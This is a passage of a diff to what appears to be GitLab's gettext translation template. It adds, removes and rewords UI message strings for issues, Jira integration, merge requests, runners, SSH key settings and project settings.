msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
